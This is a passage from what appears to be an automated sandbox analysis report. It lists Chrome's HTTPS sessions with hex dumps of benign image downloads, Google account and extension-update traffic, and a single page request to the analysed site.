fc 53 20 4b 62 ad c2 25 cb 36 c6 9a 18 ab 48 c8 c6 56 81 c5 8f b7 b2 04 9c 2d 07 f2 c7 b2 6c 42 76 81 88 ec 6e 6a ab 52 
21 b5 4b 6d a8 6c b1 05 ec 26 c1 65 b3 60 b4 1b e2 5d 17 68 a4 14 38 b6 a5 58 72 82 24 3b c2 92 65 21 59 d6 68 66 34 
33 dd 33 d3 dd ef dd 9c 7b ef 39 e7 9e fb 66 44 10 71 cf b4 e4 77 ec 56 bf 7e 3f f7 dd f7 de f7 ce f9 ce cf bd 03 50 4a 29 
a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 
Data Ascii: PNGIHDR0pHYssRGBgAMAa)[IDATx}\Wu=#F?cDHvS Kb%6HV-lBvnjR!Kml&e`]h8Xr$;e!Yhf433{9fDqwV~?PJ
)RJ)RJ)RJ)RJ)

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

19 192.168.2.5 49747 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:37 UTC 251 OUT GET /image/apps.16957.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.aef04b90-a221-4ea5-a05d-
0d51ac792471?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:37 UTC 262 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 16935
Content-Type: image/png
Last-Modified: Fri, 25 Jun 2021 08:37:45 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkzN0I0ODFCQzYxOTE"
MS-CV: 0jLeqAm/ckGHvdAs.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:37 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:37 UTC 263 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 41 d9 49 44 41 54 78 9c ed 7d 09 bc 1d 45 99 ef bf cf 7a 
f7 7b b3 dd ec 0b 09 d9 48 48 08 09 48 80 80 c8 8e 3a 88 30 22 3a 0a e8 f8 1c 06 15 f5 39 e3 73 1b 75 46 07 d7 d1 d1 
19 77 87 a7 30 3a 8a 03 c8 22 b2 2f 49 d8 21 40 12 b2 ef eb cd 4d ee 7e cf bd 67 ed f7 55 55 57 77 75 77 75 9f ee 73 6f 
80 f9 fd 5e c1 c9 3d a7 6b fb aa ea 5f df 56 4b a7 f0 89 df 6d 43 2a 3d 06 e5 32 60 18 a0 7f 80 84 c1 ff f0 df f2 03 c3 fd 9b 
3f 4a 38 7f 65 7c c2 93 c6 97 4f 2d 53 96 a1 cb 2b e3 83 f2 26 14 3a 3c 79 e1 a1 41 f3 2c 61 91 c6 42 82 d3 af 24 85 28 
8e ff b5 be 24 14 72 12 50 8b 36 ec e7 80 3b 0e 56 bc a1 
Data Ascii: PNGIHDR0pHYsodAIDATx}Ez{HHH:0":9suFw0:"/I!@M~gUUWwuwuso^=k_VKmC*=2`?J8e|O-S+&:
<yA,aB$($rP6;V

2022-07-01 09:00:37 UTC 278 IN Data Raw: 56 54 9d a7 6a 1e 54 37 c7 8f 8b 72 7b 3c ca 0f 52 98 ed a0 1b 35 6f a7 55 99 c5 3e a6 e5 be c7 f0 f5 0f 35 20 
b1 2a a3 f2 26 70 5c 01 3e c3 23 4c 54 1d ef 0e 19 d5 f2 23 29 cc f2 8b d7 fe 0c e3 cb 4a 12 c9 dc 46 23 bc 51 3a 54 55 
f7 85 da 07 01 7d f2 66 da 56 31 2a 21 e0 a2 03 f7 77 dd 88 c5 e0 7d aa b7 75 b4 94 d5 11 95 53 a3 0c 8c a3 30 7b c3 71 
bf 74 e0 8d 08 56 a3 f4 db 41 bd dc c6 ab 44 57 09 de 31 f2 5d 16 55 bd 0c 57 ff 8e 86 de 63 97 11 13 7d a1 03 ed 2e 8b 
27 55 1f e9 80 53 0d 34 ea 44 7b bd 01 a6 f3 53 05 27 d6 75 62 b5 a9 ae ef fc a0 ba dc cf a3 2d fc f8 ca f1 b9 10 c2 eb d4 
07 13 f6 15 15 51 b1 a3 69 6a d0 1b 84 fd 34 33 e0 44 58 e4 54 1b e1 fd 7b bc 82 ae e3 62 d5 a9 03 4e a8 be 23 65 7c f8 
e9 07 fb b7 a2 37 3a a1 86 83 57 86 55 66 80 67 21 
Data Ascii: VTjT7r{<R5oU>5 *&p\>#LT#)JF#Q:TU}fV1*!w}uS0{qtVADW1]UWc}.'US4D{S'ub-Qij43DXT{bN#e|7:WUfg!
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

2 192.168.2.5 49731 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:34 UTC 57 OUT GET /image/apps.18694.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.4e8e78d2-c2c2-4c02-8d8c-
46ac3b2419e7?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:34 UTC 58 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 3667
Content-Type: image/png
Last-Modified: Wed, 04 Mar 2020 18:13:09 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdDMDY3QjFCNTg1NkE"
MS-CV: RzU3JcDdukKYyaz4.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:34 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:34 UTC 58 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
0e 1a 49 44 41 54 78 5e ed 9d 5f 88 24 57 15 c6 cf a9 ee 99 64 66 a3 6e 36 f8 26 91 68 20 28 11 9f 44 25 a8 80 88 40 80 
e0 93 04 7c 11 51 c1 17 ff 83 a8 82 18 41 81 18 50 51 21 82 90 27 41 7c 11 88 08 18 44 21 1a 14 9f 22 c1 b8 06 5f 44 65 
d7 dd c5 75 77 76 67 a6 fb 7e 5a bd b7 f9 e8 7b b8 9c 99 a2 6b a6 ab e6 7c 70 b9 a7 aa 86 ee 9e ee 5f 7f e7 dc 7b ab aa 
15 80 1c 57 a1 50 23 ae 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 
27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 4d 
65 04 52 55 95 01 0a 00 64 a0 52 00 01 46 80 d5 37 38 01 4a 80 44 
Data Ascii: PNGIHDR0IDATx^_$Wdfn6&h (D%@|QAPQ!'A|D!"_Deuwvg~Z{k|p_{WP#B'PpB'PpB'PpB'PpB'PM
eRUdRF78JD

Session ID Source IP Source Port Destination IP
Destination
Port

Process

20 192.168.2.5 49757 142.251.36.205 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:44 UTC 279 OUT POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1
Host: accounts.google.com
Connection: keep-alive
Content-Length: 1
Origin: https://www.google.com
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-07-01 09:00:44 UTC 280 OUT Data Raw: 20 
Data Ascii:  

Session ID Source IP Source Port Destination IP
Destination
Port

Process

21 192.168.2.5 49759 142.251.36.238 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:44 UTC 280 OUT GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=
&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%
3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelp
bcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1
Host: clients2.google.com
Connection: keep-alive
X-Goog-Update-Interactivity: fg
X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm
X-Goog-Update-Updater: chromecrx-85.0.4183.121
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

22 142.251.36.238 443 192.168.2.5 49759 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:44 UTC 281 IN HTTP/1.1 200 OK
Content-Security-Policy: script-src 'report-sample' 'nonce-uiphwshQBxQC8_SodV6gsw' 'unsafe-inline' 'strict-dynamic' http
s: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 01 Jul 2022 09:00:44 GMT
Content-Type: text/xml; charset=UTF-8
X-Daynum: 5660
X-Daystart: 7244
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-07-01 09:00:44 UTC 282 IN Data Raw: 33 31 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 
54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 
2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 
72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 36 36 
30 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 37 32 34 34 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 
6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 
3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 20 
Data Ascii: 319<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" p
rotocol="2.0" server="prod"><daystart elapsed_days="5660" elapsed_seconds="7244"/><app appid="nmmhkkegccagdldg
iimedpiccmgmieda" cohort="1::" cohortname="" 

2022-07-01 09:00:44 UTC 282 IN Data Raw: 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 20 66 
70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 
37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 
61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 
31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 
74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 
6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 70 70 20 
Data Ascii: kkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5450
122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" pro
tected="0" size="248531" status="ok" version="1.0.0.6"/></app><app 

2022-07-01 09:00:44 UTC 282 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

23 142.251.36.205 443 192.168.2.5 49757 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 211 of 280



2022-07-01 09:00:44 UTC 282 IN HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: https://www.google.com
Access-Control-Allow-Credentials: true
X-Content-Type-Options: nosniff
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 01 Jul 2022 09:00:44 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: script-src 'report-sample' 'nonce-H9mpy-z1TYB_cR4_flbJ_g' 'unsafe-inline';object-src 'none';bas
e-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self'
Content-Security-Policy: script-src 'nonce-H9mpy-z1TYB_cR4_flbJ_g' 'self' https://apis.google.com https://ssl.gstatic.com 
https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp
/cspreport
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport
Cross-Origin-Opener-Policy: same-origin
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-
platform=*, ch-ua-platform-version=*
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-M
odel, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Server: ESF
X-XSS-Protection: 0
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-07-01 09:00:44 UTC 284 IN Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a 
Data Ascii: 11["gaia.l.a.r",[]]

2022-07-01 09:00:44 UTC 284 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

24 192.168.2.5 49764 69.172.198.108 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:45 UTC 284 OUT GET /gvx HTTP/1.1
Host: trocha.com.co
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

25 192.168.2.5 49769 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:45 UTC 285 OUT GET /image/apps.19460.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.304469a1-c8b6-4cdc-aa11-
eaa96e2fdfd6?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-07-01 09:00:45 UTC 285 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 9623
Content-Type: image/png
Last-Modified: Thu, 23 Jun 2022 15:41:01 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE1NTJFQzZERjk5NTc"
MS-CV: zVjVB5uPz0aZ1aW/.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:45 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:45 UTC 286 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 09 70 48 59 73 00 00 19 d6 00 00 19 d6 01 18 d1 ca ed 00 00 13 56 49 44 41 54 78 9c ed 9d 0b 94 64 45 79 c7 bf aa 
ba b7 5f d3 33 3b cb cc be 58 e1 f0 38 26 8b ac 98 25 8b 08 64 89 c0 81 68 40 5e 41 11 5c 59 04 a2 1c 0f 09 1e 13 85 63 
88 1b 14 25 06 cd 01 51 0f 1e 30 89 28 1c 93 48 10 08 18 24 60 08 22 20 0b 2c 08 e4 41 40 74 61 17 76 67 67 7a a6 df f7 
51 95 ef ab aa db 3d 8b 31 c0 a5 1f de d9 fa ef e9 e9 db b7 7b ba ab ef fd cd ff fb aa ea bb b5 1e 38 39 a5 90 37 ec 06 38 
65 53 0e 1c a7 54 72 e0 38 a5 92 03 c7 29 95 1c 38 4e a9 e4 c0 71 4a 25 07 8e 53 2a 39 70 9c 52 c9 81 e3 94 4a 0e 1c 
a7 54 72 e0 38 a5 92 03 c7 29 95 1c 38 4e a9 e4 c0 71 4a 25 07 
Data Ascii: PNGIHDR0pHYsVIDATxdEy_3;X8&%dh@^A\Yc%Q0(H$`" ,A@tavggzQ=1{8978eSTr8)8NqJ%S*9pR
JTr8)8NqJ%

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

26 192.168.2.5 49768 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:45 UTC 285 OUT GET /image/apps.18124.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.afc6c372-c7a8-4eda-94fb-
541bbb081d14?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:45 UTC 295 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 2629
Content-Type: image/png
Last-Modified: Thu, 10 Jun 2021 02:49:24 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyQkJBNUI1OEFDQ0E"
MS-CV: uTeCNqL8s0mgIiPD.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:45 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:45 UTC 295 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 09 da 49 44 41 54 78 5e ed 9d 77 8c 15 55 14 87 31 31 46 45 b1 61 ef 46 25 96 d8 4d 6
c d1 c4 58 13 6b 6c b1 46 13 4b 62 8b 2d 9a 18 35 d8 f5 0f 7b c1 86 95 a2 48 53 04 11 50 14 04 e9 ba 2b 9d 08 88 08 82 
88 bb af d7 3d de df dd 1d 5d 37 b3 f0 f6 ec 7b f3 ee 1d 7e 27 f9 12 ca ee 7b 6f 66 be b9 f7 9c 5b e6 f5 d8 fb 83 84 10 d2 
55 28 0e 51 41 71 88 0a 8a 43 54 50 1c a2 82 e2 10 15 14 87 a8 a0 38 44 05 c5 21 2a 28 0e 51 41 71 88 0a 8a 43 54 50 
1c a2 82 e2 10 15 14 87 a8 a0 38 44 05 c5 21 2a 28 0e 51 41 71 88 
Data Ascii: PNGIHDR0sRGBgAMAapHYsodIDATx^wU11FEaF%MlXklFKb-5{HSP+=]7{~'{of[U(QAqCTP8D!*(QA
qCTP8D!*(QAq

Session ID Source IP Source Port Destination IP
Destination
Port

Process

27 192.168.2.5 49772 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:45 UTC 298 OUT GET /image/apps.31660.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.9cf7ca2f-497e-4cb1-be08-
431c9fcc4d54?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-07-01 09:00:45 UTC 324 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 64317
Content-Type: image/png
Last-Modified: Fri, 29 Apr 2022 10:42:43 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEyOUNDRkUxOEI4MTU"
MS-CV: hJL5u9fB70qoso/s.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:45 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:45 UTC 324 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 44 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 01 87 69 00 04 00 00 00 01 00 00 
00 1a 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 2c a0 03 00 04 00 00 00 
01 00 00 01 2c 00 00 00 00 d8 60 82 e7 00 00 40 00 49 44 41 54 78 01 e4 bd 6d cc 75 ed 76 15 b4 df f7 9c 9e 96 7e 9d 
c2 e9 17 14 fb 0d ad 4d 5b da 83 a5 b6 60 84 46 20 2a 96 60 11 8c 10 a3 89 96 1f 0d 44 8d 7f 1a 7f 98 a8 89 1a 83 09 46 
63 fc ab e8 1f 11 4c fc 81 98 aa 29 06 93 86 a4 18 63 a2 10 51 a9 22 04 43 29 1f 8d 4d 69 cf 71 8e 71 8d 31 d7 b8 e6 ba 
f6 be 9f 93 5a 7a ce db d5 b3 d7 9c 73 cc 31 c6 bc ae b5 f7 5e cf be 
Data Ascii: PNGIHDR,,y}usRGBDeXIfMM*i,,`@IDATxmuv~M[`F *`DFcL)cQ"C)Miqq1Zzs1^

2022-07-01 09:00:45 UTC 372 IN Data Raw: e3 e2 56 d3 fd f6 b0 3e 7c c9 11 f1 94 03 9b 38 fc fc fc 6d bd 2a 58 87 7f a5 3c cc 73 3f d7 a7 1c 96 eb 66 a4 4f 
57 35 07 37 2d e0 fe 6d 20 ff 69 8e 78 18 c6 be f6 87 bf a7 e5 1b 54 51 ca 4b 37 ab 82 f3 47 cd 75 53 5b 0b b9 3e 61 f1 
05 01 d9 3c bc 53 47 f5 7b 23 c9 1f 9c 6e 05 be e9 02 27 57 75 73 66 bf 0d 95 98 5f d1 b7 ea d6 4e 6e d5 ec 4d 4f 80 85 
29 2c d5 e0 3c f5 4c 5e 91 50 ce 1b 13 0c 4f 18 c9 6b da 75 f6 22 e4 fb 6c 2e f1 9c 6d 07 eb 5d 8f 88 75 9c 3c b9 ee e0 6e 
b5 3c 53 f7 a9 e6 b0 d6 8b 74 5d eb 34 40 4f b3 1d 55 76 20 fe ac 19 7a 0b 78 bd 9f f1 0b f7 fe 26 25 6b af 17 18 f8 38 a8 
13 90 fd de c0 a2 f1 9c 5e 01 f7 66 b7 7e 15 5b 5d 82 ae 3b 29 2c f2 cd 13 85 7a 5c 6b e5 93 8a 9a 58 f4 9a d3 c9 e2 44 
c9 31 a3 be 6e 20 eb bb 25 8c d4 6f ef f8 c5 
Data Ascii: V>|8m*X<s?fOW57-m ixTQK7GuS[>a<SG{#n'Wusf_NnMO),<L^POku"l.m]u<n<St]4@OUv zx&%k8^f~[];),z
\kXD1n %o

2022-07-01 09:00:45 UTC 388 IN Data Raw: 15 88 b0 d9 48 e8 7d b7 3e 98 8a e8 0d 02 b0 86 df 6e 4a ae 3f 00 91 a1 ed f6 e5 60 db 72 2c 31 1b e6 e4 25 
66 c6 01 bc f7 3f d8 a8 04 ef 92 c5 90 58 cd 88 3e 89 32 d7 bf 4b 88 d1 18 1f 4a 1e 9b 7c 8c 6c 30 0d 29 e3 3a e6 2b 0c 
e0 12 fb cc 79 93 34 3e 95 25 26 d4 d1 13 72 d5 c1 c5 f6 48 8e 6d cf 57 f9 e8 54 71 c5 9f 9c e8 4f 63 3a f0 79 5f f7 f7 46 
3e ad 1b ac fc d0 98 be 49 b0 bc e6 8e 7c c3 9b de 7c fb 6b 7f e7 fb 5a 7b 9a 76 07 e6 06 57 db 58 9a 7e b9 8f 52 98 b1 
67 96 82 58 f7 74 1b 13 a3 b9 06 1b c4 65 93 50 40 be 5a 90 8d 2b 68 73 99 6a f1 b5 c8 34 43 c0 ca 2b 4b 1c bd 4f 60 8f 
2f 2e 83 e4 4f ed e6 69 a7 6b 70 cc 81 4e 7c b8 d1 eb 2d 21 16 58 fc 27 7e a6 39 0e c4 87 e3 3a 07 65 bb 0e cc e1 08 f6 
84 69 ae f8 82 9d 04 01 2f dc 54 dd b6 05 39 0a 3b 19 
Data Ascii: H}>nJ?`r,1%f?X>2KJ|l0):+y4>%&rHmWTqOc:y_F>I||kZ{vWX~RgXteP@Z+hsj4C+KO`/.OikpN|-!X'~9:ei/T9;

2022-07-01 09:00:45 UTC 398 IN Data Raw: a0 27 87 45 1e cc 16 70 f6 cb 5c f8 7a d8 cc e1 da 87 00 9e bf f9 53 ff c2 d7 aa 5d f4 44 83 b6 74 eb ca d6 f6 
f8 d3 4f 63 ca 37 4f 08 0a 64 d1 bd 42 66 5e c4 7f d6 97 7c f3 ed 5b be e7 e9 57 ce d0 da 0c 6f 06 34 b9 7b c4 ec d5 e8 
de 62 64 d4 b3 c7 f8 62 c3 7d 59 ba 27 d5 9c 0e cf 61 cd c7 e5 25 26 2f 89 be 56 ae c7 4a 95 06 20 18 e6 d3 48 99 27 e3 
2a ed 6d f1 eb 7c d9 b2 c2 bd 3e 74 17 eb 10 48 40 4e 73 c6 de 99 ed 0b 7e 39 c1 67 04 83 1e 73 6c d1 b7 6f e2 e4 b4 3f 
